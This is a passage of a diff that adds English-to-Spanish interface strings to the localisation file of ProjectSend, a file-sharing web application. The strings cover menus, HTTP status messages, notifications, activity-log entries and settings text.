"Everything that happened on this installation, newest first": "Todo lo que ocurrió en esta instalación, lo más reciente primero", + "Expand": "Expandir", + "Expand All": "Expandir todo", + "Expectation Failed": "Expectativa fallida", + "Expires": "Vence", + "Expires :date": "Vence :date", + "Explanation": "Explicación", + "Export": "Exportar", + "Export :name": "Exportar :name", + "Export CSV": "Exportar CSV", + "External storage": "Almacenamiento externo", + "Extra fields shown on the client create and edit screens.": "Campos adicionales que se muestran en las pantallas de creación y edición de clientes.", + "Failed Dependency": "Dependencia fallida", + "Failed to send: :error": "Error al enviar: :error", + "File": "Archivo", + "File: :name": "Archivo: :name", + "File deleted.": "Archivo eliminado.", + "File imported.": "Archivo importado.", + "File name": "Nombre del archivo", + "File shared with a client": "Archivo compartido con un cliente", + "File updated.": "Archivo actualizado.", + "File uploaded.": "Archivo subido.", + "Files": "Archivos", + "Files can only be assigned to clients or groups.": "Los archivos solo pueden asignarse a clientes o grupos.", + "Files shared with you": "Archivos compartidos contigo", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Archivos que están en el disco sin un registro correspondiente, ya sea por una subida interrumpida, una restauración o acceso manual al sistema de archivos.", + "Flat labels for files — independent of folders. A file can have several.": "Etiquetas planas para los archivos, independientes de las carpetas. Un archivo puede tener varias.", + "Folder": "Carpeta", + "Folder: :name": "Carpeta: :name", + "Folder created.": "Carpeta creada.", + "Folder deleted.": "Carpeta eliminada.", + "Folder shared with a client": "Carpeta compartida con un cliente", + "Folders can only be shared with clients or groups.": "Las carpetas solo pueden compartirse con clientes o grupos.", + "Folders cannot be nested more than :max levels deep.": "Las carpetas no pueden anidarse más de :max niveles.", + "Forbidden": "Prohibido", + "Forgot password?": "¿Olvidaste tu contraseña?", + "Found": "Encontrado", + "From": "Desde", + "From address": "Dirección de origen", + "From name": "Nombre de origen", + "Gateway Timeout": "Tiempo de espera de puerta de enlace", + "General": "General", + "General settings": "Configuración general", + "Go Home": "Ir a inicio", + "Go to page :page": "Ir a la página :page", + "Go to the login form": "Ir al formulario de inicio de sesión", + "Gone": "Recurso no disponible", + "Gray": "Gris", + "Green": "Verde", + "Group": "Grupo", + "Group created.": "Grupo creado.", + "Group deleted.": "Grupo eliminado.", + "Group membership approved": "Membresía de grupo aprobada", + "Group membership denied": "Membresía de grupo rechazada", + "Group updated.": "Grupo actualizado.", + "Groups": "Grupos", + "Groups clients can request to join at registration": "Grupos a los que los clientes pueden pedir unirse al registrarse", + "Groups let you assign files to several clients at once": "Los grupos permiten asignar archivos a varios clientes a la vez", + "Hello :name,": "Hola :name,", + "Hello, :name": "Hola, :name", + "Hello!": "¡Hola!", + "Here is what has been shared with you": "Esto es lo que se ha compartido contigo", + "Hide": "Ocultar", + "Hide :name": "Ocultar :name", + "Home": "Inicio", + "Host": "Host", + "How client accounts are created on this installation": "Cómo se crean las cuentas de cliente en esta instalación", + "How long a self-deleted account is kept before it is permanently erased.": "Cuánto tiempo se conserva una cuenta autoeliminada antes de borrarla de forma permanente.", + "How many files/folders were shared at once": "Cuántos archivos/carpetas se compartieron a la vez", + "HTTP Version Not Supported": "Versión HTTP no compatible", + "I'm a teapot": "Soy una tetera", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Si esta cuenta ya no está disponible cuando se ejecute un borrado, los archivos se eliminan en lugar de quedar sin dueño.", + "If you did not create an account, no further action is required.": "Si no ha creado una cuenta, no se requiere ninguna acción adicional.", + "If you did not request a password reset, no further action is required.": "Si no ha solicitado el restablecimiento de contraseña, omita este mensaje de correo electrónico.", + "If you received this, your email configuration is working.": "Si recibiste este correo, tu configuración de correo electrónico funciona correctamente.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Si está teniendo problemas al hacer clic en el botón \":actionText\", copie y pegue la URL de abajo\nen su navegador web:", + "IM Used": "IM usado", + "Image": "Imagen", + "Impersonate": "Personificar", + "Impersonation": "Personificación", + "Import": "Importar", + "Import :name": "Importar :name", + "Import orphan files": "Importar archivos huérfanos", + "Import selected": "Importar seleccionados", + "Imported the orphan file \":subject\"": "Importó el archivo huérfano \":subject\"", + "Inactive": "Inactiva", + "Include this file when a group it's shared with is public.": "Incluir este archivo cuando un grupo con el que está compartido sea público.", + "Insert": "Insertar", + "Installed ProjectSend": "Instaló ProjectSend", + "Insufficient Storage": "Espacio insuficiente", + "Internal Server Error": "Error interno del servidor", + "Introduction": "Introducción", + "Invalid filename.": "Nombre de archivo no válido.", + "Invalid JSON was returned from the route.": "Se devolvió un JSON no válido desde la ruta.", + "Invalid SSL Certificate": "Certificado SSL no válido", + "Label": "Etiqueta", + "Last modified": "Última modificación", + "Latest files": "Últimos archivos", + "Leave": "Salir", + "Leave empty for a link that never expires.": "Déjalo vacío para un enlace que nunca vence.", + "Leave empty for unlimited downloads.": "Déjalo vacío para descargas ilimitadas.", + "Leave group": "Salir del grupo", + "Leave this group?": "¿Salir de este grupo?", + "Left the group \":subject\"": "Salió del grupo \":subject\"", + "length": "longitud", + "Length Required": "Longitud requerida", + "Library": "Biblioteca", + "Light": "Claro", + "Like": "Me gusta", + "Limit download counts": "Limitar la cantidad de descargas", + "Limit to assigned clients": "Limitar a los clientes asignados", + "Limits for files uploaded to this installation": "Límites para los archivos subidos a esta instalación", + "Link unavailable": "Enlace no disponible", + "Load": "Cargar", + "Loading…": "Cargando…", + "Local storage": "Almacenamiento local", + "Localize": "Localizar", + "Location": "Ubicación", + "Locked": "Bloqueado", + "Log in": "Iniciar sesión", + "Log In": "Iniciar sesión", + "Log in to your account": "Inicia sesión en tu cuenta", + "Log out": "Cerrar sesión", + "Log Out": "Finalizar sesión", + "Logged in": "Inició sesión", + "Logged out": "Cerró sesión", + "Login": "Iniciar sesión", + "Logout": "Finalizar sesión", + "Loop Detected": "Bucle detectado", + "Mail provider settings saved.": "Se guardó la configuración del proveedor de correo.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Modo de mantenimiento", + "Manage custom fields": "Gestionar campos personalizados", + "Manage public links from the edit page.": "Gestiona los enlaces públicos desde la página de edición.", + "Manage system users and roles": "Administrar usuarios del sistema y roles", + "Manage updates": "Administrar actualizaciones", + "Manage your profile and account settings": "Administra tu perfil y la configuración de tu cuenta", + "Mark all read": "Marcar todo como leído", + "Mark as read": "Marcar como leído", + "Mark as unread": "Marcar como no leído", + "Max downloads": "Máximo de descargas", + "Maximum file size (MB)": "Tamaño máximo de archivo (MB)", + "Member": "Miembro", + "Members": "Miembros", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Los miembros de este rol solo ven los archivos y carpetas de los clientes que tienen asignados, además de sus propias subidas.", + "Membership request approved.": "Solicitud de membresía aprobada.", + "Membership request denied.": "Solicitud de membresía rechazada.", + "Membership requests": "Solicitudes de membresía", + "Membership requests are reviewed by an administrator": "Las solicitudes de membresía son revisadas por un administrador", + "Method Not Allowed": "Método no permitido", + "Minutes until the reset link expires": "Minutos hasta que expire el enlace de restablecimiento", + "Misdirected Request": "Solicitud mal dirigida", + "Modified": "Modificado", + "Moved Permanently": "Movido permanentemente", + "Moved the folder \":subject\"": "Movió la carpeta \":subject\"", + "Multi-line text": "Texto multilínea", + "Multi-Status": "Multiestado", + "Multiple Choices": "Múltiples opciones", + "Multiple files/folders shared at once (digest)": "Varios archivos/carpetas compartidos a la vez (resumen)", + "My files": "Mis archivos", + "My groups": "Mis grupos", + "Name": "Nombre", + "Name or description": "Nombre o descripción", + "Name or email address": "Nombre o correo electrónico", + "Never": "Nunca", + "Never expires": "Nunca vence", + "Network Authentication Required": "Se requiere autenticación de red", + "Network Connect Timeout Error": "Error de tiempo de espera de conexión de red", + "Network Read Timeout Error": "Error de tiempo de espera de lectura de red", + "New": "Nuevo", + "New :name": "Nuevo :name", + "New category": "Nueva categoría", + "New client": "Nuevo cliente", + "New client registrations and client uploads are sent here — at least one address is required.": "Los nuevos registros de clientes y las subidas de archivos de clientes se envían aquí; se requiere al menos una dirección.", + "New field": "Nuevo campo", + "New folder": "Nueva carpeta", + "New group": "Nuevo grupo", + "New membership request from :client for the group \":group\".": "Nueva solicitud de membresía de :client para el grupo \":group\".", + "New password (leave blank to keep current)": "Nueva contraseña (dejar en blanco para mantener la actual)", + "New role": "Nuevo rol", + "New user": "Nuevo usuario", + "News": "Noticias", + "Next": "Siguiente", + "No": "No", + "No activity matches these filters.": "Ninguna actividad coincide con estos filtros.", + "No activity recorded yet.": "Aún no hay actividad registrada.", + "No categories match your search.": "Ninguna categoría coincide con tu búsqueda.", + "No categories yet.": "Aún no hay categorías.", + "No clients match these filters.": "Ningún cliente coincide con estos filtros.", + "No clients yet.": "Aún no hay clientes.", + "No comments match these filters.": "Ningún comentario coincide con estos filtros.", + "No Content": "Sin contenido", + "No custom fields yet.": "Todavía no hay campos personalizados.", + "No downloads recorded yet.": "Aún no se registraron descargas.", + "No fields match your search.": "Ningún campo coincide con tu búsqueda.", + "No files have been shared with you yet.": "Aún no se han compartido archivos contigo.", + "No files here yet.": "Todavía no hay archivos aquí.", + "No files or folders match your search.": "Ningún archivo o carpeta coincide con tu búsqueda.", + "No files yet. Upload the first one.": "Aún no hay archivos. Sube el primero.", + "No folder": "Sin carpeta", + "No groups match these filters.": "Ningún grupo coincide con estos filtros.", + "No groups yet.": "Aún no hay grupos.", + "No members yet.": "Aún no hay miembros.", + "No more categories": "No hay más categorías", + "No more clients to add": "No hay más clientes para agregar", + "No news yet.": "Aún no hay noticias.", + "No orphan files found.": "No se encontraron archivos huérfanos.", + "No orphan files match your search.": "Ningún archivo huérfano coincide con tu búsqueda.", + "No pending requests.": "No hay solicitudes pendientes.", + "No public links yet.": "Aún no hay enlaces públicos.", + "No recipients added yet.": "Aún no se agregaron destinatarios.", + "No requests match your search.": "Ninguna solicitud coincide con tu búsqueda.", + "No roles match this filter.": "Ningún rol coincide con este filtro.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Sin límite de tamaño. Las subidas pueden pausarse y se reanudan automáticamente tras interrupciones.", + "No users match these filters.": "Ningún usuario coincide con estos filtros.", + "No users yet.": "Aún no hay usuarios.", + "Nobody (optional for everyone)": "Nadie (opcional para todos)", + "Non-Authoritative Information": "Información no autorizada", + "None": "Ninguno", + "None of the selected items could be found.": "No se encontró ninguno de los elementos seleccionados.", + "Not Acceptable": "Inaceptable", + "Not Extended": "no extendido", + "Not Found": "No encontrado", + "Not Implemented": "No se ha implementado", + "Not Modified": "No modificado", + "Not shared with anyone yet.": "Aún no se compartió con nadie.", + "Notification settings": "Configuración de notificaciones", + "Notifications": "Notificaciones", + "Nothing is publicly shared yet.": "Todavía no hay nada compartido públicamente.", + "of": "de", + "OK": "Correcto", + "One option per line": "Una opción por línea", + "Only clients can be group members.": "Solo los clientes pueden ser miembros de grupos.", + "Only clients can comment here.": "Aquí solo pueden comentar los clientes.", + "Only for anonymous downloads": "Solo para descargas anónimas", + "Only people who are signed in can comment here.": "Aquí solo pueden comentar quienes hayan iniciado sesión.", + "Only staff can comment here.": "Aquí solo puede comentar el personal.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Solo el texto de abajo es editable; cualquier botón o enlace de este correo permanece fijo.", + "Open": "Abrir", + "Open folder": "Abrir carpeta", + "Open in a current window": "Abrir en una ventana actual", + "Open in a new window": "Abrir en una ventana nueva", + "Open in a parent frame": "Abrir en un marco principal", + "Open in the topmost frame": "Abrir en el marco superior", + "Open on the website": "Abrir en el sitio web", + "Open public listing": "Abrir listado público", + "Options": "Opciones", + "Or enter this key manually:": "O ingresa esta clave manualmente:", + "Orange": "Naranja", + "Origin Is Unreachable": "El origen es inalcanzable", + "Outgoing email": "Correo saliente", + "Outgoing email theme": "Tema del correo saliente", + "Page :current of :last": "Página :current de :last", + "Page Expired": "Página expirada", + "Pagination Navigation": "Navegación por los enlaces de paginación", + "Partial Content": "Contenido parcial", + "Password": "Contraseña", + "Password reset": "Restablecimiento de contraseña", + "Path": "Ruta", + "Payload Too Large": "Solicitud demasiado grande", + "Payment Required": "Pago requerido", + "Pending approval": "Pendiente de aprobación", + "Permanent Redirect": "Redirección permanente", + "Permanently erased a deleted account": "Eliminó permanentemente una cuenta borrada", + "Permissions": "Permisos", + "Pink": "Rosa", + "Platform": "Plataforma", + "Please click the button below to verify your email address.": "Por favor, haga clic en el botón de abajo para verificar su dirección de correo electrónico.", + "Port": "Puerto", + "Postmark": "Postmark", + "Powered by ProjectSend": "Con tecnología de ProjectSend", + "Precondition Failed": "Error de condición previa", + "Precondition Required": "Precondición requerida", + "Preparing your download…": "Preparando tu descarga…", + "Preview": "Previsualizar", + "Preview: :theme": "Vista previa: :theme", + "Previous": "Anterior", + "Price": "Precio", + "Privacy": "Privacidad", + "Privacy settings": "Configuración de privacidad", + "Private": "Privado", + "Processing": "Procesando", + "Profile": "Perfil", + "Profile information was updated": "Se actualizó la información del perfil", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion está disponible (tienes :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend es software libre y de código abierto para enviar archivos a tus clientes. Se publica bajo la :license, lo que significa que eres libre de usarlo, estudiarlo, modificarlo y compartirlo.", + "ProjectSend is ready": "ProjectSend está listo", + "ProjectSend was installed": "ProjectSend fue instalado", + "Provider": "Proveedor", + "Proxy Authentication Required": "Se requiere autenticación proxy", + "Public": "Público", + "Public file": "Archivo público", + "Public files": "Archivos públicos", + "Public group": "Grupo público", + "Public group listing": "Listado público de grupos", + "Public groups": "Grupos públicos", + "Public link": "Enlace público", + "Public link created.": "Enlace público creado.", + "Public link revoked.": "Enlace público revocado.", + "Public links": "Enlaces públicos", + "Public listing": "Listado público", + "Public listing settings": "Configuración del listado público", + "Public listing URL": "URL del listado público", + "Public pages & portal": "Páginas públicas y portal", + "Public pages and client portal theme": "Tema de las páginas públicas y el portal de clientes", + "Published": "Publicado", + "Purple": "Violeta", + "Quota": "Cuota", + "Railgun Error": "Error de cañón de riel", + "Range Not Satisfiable": "Rango no satisfactorio", + "Read more": "Leer más", + "Reassign them to": "Reasignarlos a", + "Recent activity": "Actividad reciente", + "Recipient": "Destinatario", + "Record": "Registro", + "Record IP addresses for downloads": "Registrar direcciones IP en las descargas", + "Recovery code": "Código de recuperación", + "Red": "Rojo", + "Regards,": "Saludos,", + "Regenerate recovery codes": "Regenerar códigos de recuperación", + "Regenerate recovery codes?": "¿Regenerar los códigos de recuperación?", + "Regenerated two-factor recovery codes": "Regeneró los códigos de recuperación de dos factores", + "Register": "Registrarse", + "Register to access the files shared with you.": "Regístrate para acceder a los archivos compartidos contigo.", + "Register to request access. An administrator will review your request.": "Regístrate para solicitar acceso. Un administrador revisará tu solicitud.", + "Registered a new client account": "Registró una nueva cuenta de cliente", + "Related": "Relacionado", + "Remember me": "Recordarme", + "Remove": "Quitar", + "Removed \":member\" from the group \":subject\"": "Quitó a \":member\" del grupo \":subject\"", + "Removed the file \":subject\" from :target": "Quitó el archivo \":subject\" de :target", + "Rename": "Renombrar", + "Renamed the folder \":subject\"": "Renombró la carpeta \":subject\"", + "Repository": "Repositorio", + "Request declined": "Solicitud rechazada", + "Request Header Fields Too Large": "Campos de encabezado de solicitud demasiado grandes", + "Request membership": "Solicitar membresía", + "Request membership to groups (optional)": "Solicitar membresía a grupos (opcional)", + "Request Timeout": "Solicitud de tiempo de espera", + "Requested": "Solicitada", + "Requested membership to the group \":subject\"": "Solicitó membresía al grupo \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Las membresías solicitadas esperan aprobación en la cola de solicitudes de membresía.", + "Require two-factor authentication": "Exigir autenticación de dos factores", + "Required": "Obligatorio", + "Reset Content": "Restablecer contenido", + "Reset Password": "Restablecer contraseña", + "Reset Password Notification": "Notificación de restablecimiento de contraseña", + "Reset this email to its default wording?": "¿Restablecer este correo a su redacción predeterminada?", + "Reset to default": "Restablecer al valor predeterminado", + "Restore": "Restaurar", + "Restore :name": "Restaurar :name", + "Restricted extension": "Extensión restringida", + "Result": "Resultado", + "results": "resultados", + "Review membership requests": "Revisar solicitudes de membresía", + "Review pending requests": "Revisar solicitudes pendientes", + "Retry With": "Reintentar con", + "Revoke": "Revocar", + "Revoke link": "Revocar enlace", + "Revoke this public link?": "¿Revocar este enlace público?", + "Revoked a public link for the file \":subject\"": "Revocó un enlace público para el archivo \":subject\"", + "Role": "Rol", + "Role created.": "Rol creado.", + "Role deleted.": "Rol eliminado.", + "Role name": "Nombre del rol", + "Role updated.": "Rol actualizado.", + "Roles": "Roles", + "Sample email": "Correo de muestra", + "Save": "Guardar", + "Save :name": "Guardar :name", + "Save & Close": "Guardar y cerrar", + "Save & Return": "Guardar y volver", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Guarda tus cambios para que esto esté disponible; hasta entonces, estos botones apuntan a una página que aún no está publicada.", + "Saved": "Guardado", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Escanea este código QR con tu aplicación de autenticación y luego ingresa el código de seis dígitos para confirmar.", + "Scanning:": "Escaneando:", + "Scheduled tasks": "Tareas programadas", + "Search": "Buscar", + "Search :name": "Buscar :name", + "Search all files and folders": "Buscar en todos los archivos y carpetas", + "Search by client or group": "Buscar por cliente o grupo", + "Search by name": "Buscar por nombre", + "Search by name or email address": "Buscar por nombre o correo electrónico", + "Search by path": "Buscar por ruta", + "Search categories": "Buscar categorías", + "Search fields": "Buscar campos", + "Search your files": "Buscar en tus archivos", + "Security": "Seguridad", + "Security settings": "Configuración de seguridad", + "See Other": "Ver otros", + "Select": "Seleccione", + "Select :name": "Seleccionar :name", + "Select a client or group": "Selecciona un cliente o grupo", + "Select a client to add": "Selecciona un cliente para agregar", + "Select a role": "Selecciona un rol", + "Select All": "Seleccionar todo", + "Select an option": "Selecciona una opción", + "Select at least one file or folder.": "Selecciona al menos un archivo o carpeta.", + "Self-registered clients join this group automatically.": "Los clientes autorregistrados se unen a este grupo automáticamente.", + "Send": "Enviar", + "Send email notifications": "Enviar notificaciones por correo electrónico", + "Send test email": "Enviar correo de prueba", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Envía un correo real de inmediato, sin pasar por la cola, para verificar que la configuración anterior funciona.", + "Separate paragraphs with a blank line.": "Separa los párrafos con una línea en blanco.", + "Server Error": "Error del servidor", + "Service Unavailable": "Servicio no disponible", + "Session Has Expired": "La sesión ha expirado", + "Set file expiration dates": "Establecer fechas de vencimiento de archivos", + "Set to 0 for no limit. Available disk space still applies.": "Establece 0 para no tener límite. El espacio en disco disponible sigue aplicando.", + "Set to 0 to allow requesting again immediately.": "Establece 0 para permitir solicitar de nuevo inmediatamente.", + "Set up ProjectSend": "Configurar ProjectSend", + "Settings": "Ajustes", + "Settings that apply to the whole installation": "Configuración que aplica a toda la instalación", + "Setup complete": "Configuración completa", + "Share a file with the people who manage your account.": "Comparte un archivo con las personas que administran tu cuenta.", + "Share files with several clients at once": "Comparte archivos con varios clientes a la vez", + "Shared the folder \":subject\" with :target": "Compartió la carpeta \":subject\" con :target", + "Shared with": "Compartido con", + "Shared with :count": "Compartido con :count", + "Sharing": "Compartir", + "Sharing a folder shares everything inside it, now and later": "Compartir una carpeta comparte todo su contenido, ahora y en el futuro", + "Show": "Mostrar", + "Show :name": "Mostrar :name", + "Show All": "Mostrar todo", + "Showing": "Mostrando", + "Showing matches from across your library": "Mostrando coincidencias de toda tu biblioteca", + "Showing matches from everything shared with you": "Mostrando coincidencias de todo lo compartido contigo", + "Shown across the application and to your clients.": "Se muestra en toda la aplicación y a tus clientes.", + "Shows a registration form on the login screen.": "Muestra un formulario de registro en la pantalla de inicio de sesión.", + "Sign In": "Iniciar sesión", + "Sign up": "Regístrate", + "Site name": "Nombre del sitio", + "Size": "Tamaño", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Omite la dirección IP cuando quien descarga es una cuenta con sesión iniciada; su identidad ya se conoce.", + "SMTP configuration": "Configuración SMTP", + "Source code": "Código fuente", + "Special public links": "Enlaces públicos especiales", + "Solve": "Resolver", + "Something went wrong. Please try again.": "Algo salió mal. Inténtalo de nuevo.", + "SSL": "SSL", + "SSL Handshake Failed": "Protocolo de enlace SSL fallido", + "Staff": "Personal", + "Start": "Comenzar", + "Status": "Estado", + "Stop": "Detener", + "Stopped sharing the folder \":subject\" with :target": "Dejó de compartir la carpeta \":subject\" con :target", + "Storage": "Almacenamiento", + "Storage free": "Almacenamiento libre", + "Storage quota (MB)": "Cuota de almacenamiento (MB)", + "Storage used": "Almacenamiento usado", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Guarda estos códigos de recuperación en un lugar seguro. Cada uno puede usarse una sola vez si pierdes acceso a tu aplicación de autenticación.", + "Subfolders": "Subcarpetas", + "Subject": "Asunto", + "Submit": "Enviar", + "Subscribe": "Suscriba", + "Success: test email sent to :email via :hostport.": "Éxito: correo de prueba enviado a :email a través de :hostport.", + "Support the project": "Apoya el proyecto", + "Switch": "Cambiar", + "Switch To Role": "Cambiar de rol", + "Switching Protocols": "Protocolos de conmutación", + "System": "Sistema", + "System Administrator": "Administrador del sistema", + "System settings": "Configuración del sistema", + "System settings were updated": "Se actualizó la configuración del sistema", + "System users": "Usuarios del sistema", + "Tag": "Etiqueta", + "Tags": "Etiquetas", + "Temporary Redirect": "Redirección temporal", + "Test": "Prueba", + "Text": "Texto", + "Text or author": "Texto o autor", + "The account of :name will be permanently deleted. This cannot be undone.": "La cuenta de :name se eliminará permanentemente. Esto no se puede deshacer.", + "The account password was changed": "Se cambió la contraseña de la cuenta", + "The account request of :name will be denied and the account deleted.": "La solicitud de cuenta de :name será denegada y la cuenta eliminada.", + "The administrator account was created successfully.": "La cuenta de administrador se creó correctamente.", + "The administrator role always has every permission and cannot be edited.": "El rol de administrador siempre tiene todos los permisos y no se puede editar.", + "The base URL segment for public group pages, e.g. :url": "El segmento base de la URL para las páginas de grupos públicos, por ejemplo: :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "La categoría \":name\" se quitará de todos sus archivos. Los archivos en sí no se eliminan.", + "The client's email address": "La dirección de correo del cliente", + "The client's name": "El nombre del cliente", + "The clients this group shares files with": "Los clientes con los que este grupo comparte archivos", + "The field \":name\" and all its stored values will be permanently deleted.": "El campo \":name\" y todos sus valores guardados se eliminarán de forma permanente.", + "The file \":file\" was uploaded by :client.": "El archivo \":file\" fue subido por :client.", + "The file \":name\" has been shared with you.": "El archivo \":name\" ha sido compartido contigo.", + "The file \":name\" will no longer be available to anyone it was shared with.": "El archivo \":name\" dejará de estar disponible para quienes fue compartido.", + "The file name": "El nombre del archivo", + "The file or folder name": "El nombre del archivo o carpeta", + "The file will be permanently removed from disk. This cannot be undone.": "El archivo se eliminará permanentemente del disco. Esto no se puede deshacer.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Los archivos de un grupo público pueden ser explorados por cualquiera con el enlace, sin iniciar sesión.", + "The files shared with you": "Los archivos compartidos contigo", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "La carpeta \":name\" y todo su contenido serán eliminados. Un administrador puede deshacerlo.", + "The following :count items have been shared with you:": "Los siguientes :count elementos se compartieron contigo:", + "The folder \":name\" has been shared with you.": "La carpeta \":name\" ha sido compartida contigo.", + "The given data was invalid.": "Los datos proporcionados no son válidos.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "El grupo \":name\" será eliminado. Sus clientes conservan sus cuentas.", + "The group name": "El nombre del grupo", + "The groups you belong to and the ones you can ask to join": "Los grupos a los que perteneces y a los que puedes pedir unirte", + "The header/footer style used for every outgoing notification email.": "El estilo de encabezado/pie usado en todos los correos de notificación salientes.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "El aspecto de las páginas públicas, el portal de clientes y los correos de notificación salientes.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "El servidor de correo se configura en el archivo .env de esta instalación (variables MAIL_*), no aquí.", + "The people who administer this installation and upload files": "Las personas que administran esta instalación y suben archivos", + "The people you share files with": "Las personas con las que compartes archivos", + "The provided two-factor authentication code was invalid.": "El código de autenticación de dos factores proporcionado no es válido.", + "The release this installation is running, and where it comes from.": "La versión que ejecuta esta instalación, y de dónde viene.", + "The response is not a streamed response.": "La respuesta no es una respuesta transmitida.", + "The response is not a view.": "La respuesta no es una vista.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "El rol \":name\" se eliminará permanentemente. Esto no se puede deshacer.", + "The selected folders are empty.": "Las carpetas seleccionadas están vacías.", + "The uploading client's name": "El nombre del cliente que subió el archivo", + "Their account is waiting for approval.": "Su cuenta está esperando aprobación.", + "There is nothing to configure yet.": "Aún no hay nada para configurar.", + "Test email from :site": "Correo de prueba de :site", + "These files will be permanently removed from disk. This cannot be undone.": "Estos archivos se eliminarán permanentemente del disco. Esto no se puede deshacer.", + "Theme": "Tema", + "Theme updated.": "Tema actualizado.", + "Theming": "Temas", + "Theming settings": "Configuración de temas", + "This action is unauthorized.": "Esta acción no está autorizada.", + "This file exceeds the maximum allowed size of :max MB.": "Este archivo supera el tamaño máximo permitido de :max MB.", + "This folder is empty.": "Esta carpeta está vacía.", + "This installation has no administrator yet. Create the first one to get started.": "Esta instalación aún no tiene un administrador. Crea el primero para comenzar.", + "This is a built-in role; its scope can't be changed.": "Este es un rol predefinido; su alcance no se puede cambiar.", + "This is a preview of the :theme email theme.": "Esta es una vista previa del tema de correo :theme.", + "This is a sample email — no notification was actually sent.": "Este es un correo de muestra — no se envió ninguna notificación real.", + "This is a test email from :site.": "Este es un correo de prueba de :site.", + "This is the last active administrator account.": "Esta es la última cuenta de administrador activa.", + "This link cannot match the file's own public URL slug.": "Este enlace no puede coincidir con el slug de la URL pública del archivo.", + "This link doesn't exist or has been revoked.": "Este enlace no existe o ha sido revocado.", + "This link has expired.": "Este enlace ha vencido.", + "This link has reached its download limit.": "Este enlace alcanzó su límite de descargas.", + "This password reset link will expire in :count minutes.": "Este enlace de restablecimiento de contraseña expirará en :count minutos.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Esto elimina permanentemente todos los trabajos fallidos de la lista sin reintentar ninguno. No se puede deshacer.", + "This role is assigned to accounts and cannot be deleted.": "Este rol está asignado a cuentas y no se puede eliminar.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Este rol solo ve los archivos y carpetas de estos clientes, además de sus propias subidas.", + "This upload would exceed your storage quota of :quota MB.": "Esta subida superaría tu cuota de almacenamiento de :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Consejo: arrastra archivos y carpetas sobre una carpeta o una miga de pan para moverlos.", + "Title": "Título", + "Title (optional)": "Título (opcional)", + "TLS": "TLS", + "to": "al", + "To": "Hasta", + "Toggle navigation": "Alternar navegación", + "Too Early": "Demasiado temprano", + "Too many files selected. Choose a smaller selection and try again.": "Se han seleccionado demasiados archivos. Elige una selección más pequeña e inténtalo de nuevo.", + "Too Many Requests": "Demasiadas peticiones", + "Transactional email settings for this installation": "Configuración de correo transaccional para esta instalación", + "Transfers — last 30 days": "Transferencias — últimos 30 días", + "Translate": "Traducir", + "Translate It": "Traducirlo", + "Turns all transactional email for this installation on or off.": "Activa o desactiva todo el correo transaccional de esta instalación.", + "Two-factor auth": "Dos factores", + "Two-factor authentication": "Autenticación de dos factores", + "Two-factor authentication is enabled.": "La autenticación de dos factores está activada.", + "Two-factor authentication was disabled": "Se desactivó la autenticación de dos factores", + "Two-factor authentication was enabled": "Se activó la autenticación de dos factores", + "Two-factor recovery codes were regenerated": "Se regeneraron los códigos de recuperación de dos factores", + "Type": "Tipo", + "Unauthorized": "No autorizado", + "Unavailable For Legal Reasons": "No disponible por razones legales", + "Unchanged": "Sin cambios", + "Unknown Error": "Error desconocido", + "Unlimited": "Ilimitado", + "Unpack": "Desglosar", + "Unprocessable Entity": "Entidad no procesable", + "Unsubscribe": "Darse de baja", + "Unsupported Media Type": "Tipo de medio no admitido", + "Up": "Arriba", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Hasta :max MB por archivo. Las subidas pueden pausarse y se reanudan automáticamente tras interrupciones.", + "Update": "Actualizar", + "Update :name": "Actualizar :name", + "Updated the account \":subject\"": "Actualizó la cuenta \":subject\"", + "Updated the file \":subject\"": "Actualizó el archivo \":subject\"", + "Updated the group \":subject\"": "Actualizó el grupo \":subject\"", + "Updated the role \":subject\"": "Actualizó el rol \":subject\"", + "Updated the system settings (:section)": "Actualizó la configuración del sistema (:section)", + "Updated their profile information": "Actualizó su información de perfil", + "Upgrade Required": "Se requiere actualización", + "Upload": "Subir", + "Upload a file": "Subir un archivo", + "Upload files": "Subir archivos", + "Upload public files": "Subir archivos públicos", + "Upload settings": "Configuración de subidas", + "Upload to public folders": "Subir a carpetas públicas", + "Uploaded by": "Subido por", + "Uploaded the file \":subject\"": "Subió el archivo \":subject\"", + "Uploader": "Cargador", + "Uploads": "Subidas", + "Uploads (chart)": "Subidas", + "URI Too Long": "URI demasiado largo", + "URL slug": "Slug de URL", + "Use a custom link instead of a random one": "Usar un enlace personalizado en lugar de uno aleatorio", + "Use a recovery code": "Usar un código de recuperación", + "Use an authentication code": "Usar un código de autenticación", + "Use Proxy": "Usa proxy", + "Use the navigation to get started.": "Usa la navegación para comenzar.", + "Used": "Usado", + "Used in the public file URL when this file is public.": "Se usa en la URL pública del archivo cuando este archivo es público.", + "Used in the public group URL when this group is public.": "Se usa en la URL pública del grupo cuando este grupo es público.", + "User": "Usuario", + "User created.": "Usuario creado.", + "User deleted.": "Usuario eliminado.", + "User updated.": "Usuario actualizado.", + "Users": "Usuarios", + "Username": "Usuario", + 